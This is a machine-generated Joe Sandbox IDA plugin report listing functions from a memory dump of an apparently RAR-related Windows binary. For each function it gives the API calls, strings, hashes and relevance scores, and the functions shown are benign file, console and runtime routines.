Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction ID: f8f45263a325e1523646482531c44f824e222b8a45a7327bacea0bf3b141844d
Opcode Fuzzy Hash: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction Fuzzy Hash: 7551D333A14A518AEB11CF65E4443AC3BB0FB54B98F068135EE4E87798DF7AD161C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7480C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6EE74814D
CharToOemA.USER32 ref: 00007FF6EE7481D8
WriteFile.KERNEL32 ref: 00007FF6EE7481FB
GetStdHandle.KERNEL32 ref: 00007FF6EE748242
WriteConsoleW.KERNEL32 ref: 00007FF6EE748266

Part of subcall function 00007FF6EE77D840: WideCharToMultiByte.KERNEL32 ref: 00007FF6EE77D871

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: 2ca82fd1005f8bc6034c42b2cbae92123bff5a731ad1871ded0df8274b3eee23
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: 2E41CA53E0C68642FF109B20E8003B96251AF65BA0F06033AF96D977D5DFBEE565C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7969B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6EE796AD6

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: f37647c7b00c15b6d2c87970589ea1896db2cb987b2ce49ec239aefc5b096a38
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: 6641C363B0D60191EF119B92E8047B56295BF24B90F1B8635FD5D8B788EE7EE420C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE79DC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6EE79DC47
_set_statfp.LIBCMT ref: 00007FF6EE79DC62
_set_statfp.LIBCMT ref: 00007FF6EE79DC7E
_set_statfp.LIBCMT ref: 00007FF6EE79DCBA

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: c04437dad10109121c00150310c237cf823296e8df9107a9be682f804757bca9
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: 44113067E18A0309FF551164E48637B2141AF763A0F474A34FB6E966D6CFEFA460C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE747514 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE77CD7C: MessageBeep.USER32(?,?,?,?,00007FF6EE74CA56,?,?,?,00007FF6EE77B9B7), ref: 00007FF6EE77CD9E

wcschr.LIBVCRUNTIME ref: 00007FF6EE747597
wcschr.LIBVCRUNTIME ref: 00007FF6EE74768D

Strings

(, xrefs: 00007FF6EE747754
[%c]%ls, xrefs: 00007FF6EE747743

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: wcschr$BeepMessage
String ID: ($[%c]%ls
API String ID: 1408639281-228076469
Opcode ID: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction ID: 044b7cd04b320dd50605be9959029b69bfa36d1d227dea4e8af5ae1e30249ba9
Opcode Fuzzy Hash: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction Fuzzy Hash: 6381E623A0864186EF60CF05E4403BA67A1FB98B88F460136FE4E97759DF7EE522C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE756FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE757176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE757221

Strings

%c%c%c%c%c%c%c%c%c, xrefs: 00007FF6EE75716F
%c%c%c%c%c%c%c, xrefs: 00007FF6EE7571E3

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: 03a68fd4c53520bab831e7178da2a4d85181468c0677c9f91ed2b2cb543d4a6d
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: 275136F3F3C2848AE7548F1CE881BA92690F374B91F555A24F94AD3B44CA3EDA04C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE746E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6EE746EC8
wcschr.LIBVCRUNTIME ref: 00007FF6EE746F16

Strings

MCAOmcao, xrefs: 00007FF6EE746EC1
MCAOmcao, xrefs: 00007FF6EE746F0F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: a923d18856f1e3654f9f4654e9dd6656215b29b27196d5e28132f102f0701262
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: 46416D53E0D58380EF219AA0E1417795661AF34B84F5A4032FA5D862D5EEBFE472C32B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE753528 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6EE75359E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE7535E6

Part of subcall function 00007FF6EE7530C8: GetFileAttributesW.KERNELBASE(00000800,00007FF6EE75305D,?,?,?,?,?,?,?,?,00007FF6EE764126,?,?,?,?,00000800), ref: 00007FF6EE7530F0
Part of subcall function 00007FF6EE7530C8: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6EE764126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6EE753119

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE753651

Strings

%u.%03u, xrefs: 00007FF6EE7535A7, 00007FF6EE753630

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
Opcode ID: e27f4123eac550de387ce715d86f3e0140f09c324c71f229c6d48add99db66ae
Instruction ID: 75a7cd9e6e95f8efed017bc11b62b38021643b18969eece4664f83efc7365bde
Opcode Fuzzy Hash: e27f4123eac550de387ce715d86f3e0140f09c324c71f229c6d48add99db66ae
Instruction Fuzzy Hash: EE316B23A0868151EF149B24E4103AA6260F7A47B4F511336FD7E87BF8DE7ED42AC305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE797854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6EE79793A
WriteFile.KERNEL32 ref: 00007FF6EE79796D
GetLastError.KERNEL32 ref: 00007FF6EE79798F

Strings

U, xrefs: 00007FF6EE797918

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction ID: 72c3a29925a5577a28ee7e381ca53e8fea727581eb1ee6f0620bb6b236253ca6
Opcode Fuzzy Hash: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction Fuzzy Hash: 5341B123B18A4182EB609F25E4447B977A1FBA8794F464031EE8D87788DFBED411C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE78D7BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE78E7D0: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF6EE78E7D4

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6EE78D7E2
RaiseException.KERNEL32 ref: 00007FF6EE78D80B
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6EE78D86C

Strings

csm, xrefs: 00007FF6EE78D83F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction ID: 784846237b95f337af4ffb9bc26c2bc46549e71ab553b52fc6ed9638a57b0f6c
Opcode Fuzzy Hash: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction Fuzzy Hash: FA213C7B60865182EB309B11E04026EB761F7A4BA5F011235EF9D43B95CF7DE891CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF6EE77B7C0
CreateSemaphoreW.KERNEL32 ref: 00007FF6EE77B7D0
CreateEventW.KERNEL32 ref: 00007FF6EE77B7E7

Strings

Thread pool initialization failed., xrefs: 00007FF6EE77B803

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction ID: 3055821a0be874b65ff8a096b81e88ecaf7228ec99ff7136bfe64273b0830552
Opcode Fuzzy Hash: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction Fuzzy Hash: FE11E733B0564182FB008F21E4043A932E2EBE4B45F098435D64D4B699CFBED466C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE782984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE782B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE782BA7

Part of subcall function 00007FF6EE78BA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6EE78B313), ref: 00007FF6EE78BAB1
Part of subcall function 00007FF6EE78BA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6EE78B313), ref: 00007FF6EE78BAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE782BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE782BC3

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: 159f841514cd39d68232da6fdd3df6c44f8889a5df0ccb08ca6eb86679eb9235
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: D551F363A19AC181EF50CF25D4503AC73A1FBA4B94F058231EE5E87794DFBAD121C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE753818 Relevance: 6.1, APIs: 4, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000004,00000000,?,?,?,?,?,00007FF6EE74F6FC,00000000,?,?,?,?,00007FF6EE75097D), ref: 00007FF6EE7538CD
CreateFileW.KERNEL32(?,?,?,?,?,00007FF6EE74F6FC,00000000,?,?,?,?,00007FF6EE75097D,?,?,00000000), ref: 00007FF6EE75391F
SetFileTime.KERNEL32(?,?,?,?,?,00007FF6EE74F6FC,00000000,?,?,?,?,00007FF6EE75097D,?,?,00000000), ref: 00007FF6EE75399B
CloseHandle.KERNEL32(?,?,?,?,?,00007FF6EE74F6FC,00000000,?,?,?,?,00007FF6EE75097D,?,?,00000000), ref: 00007FF6EE7539A6

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
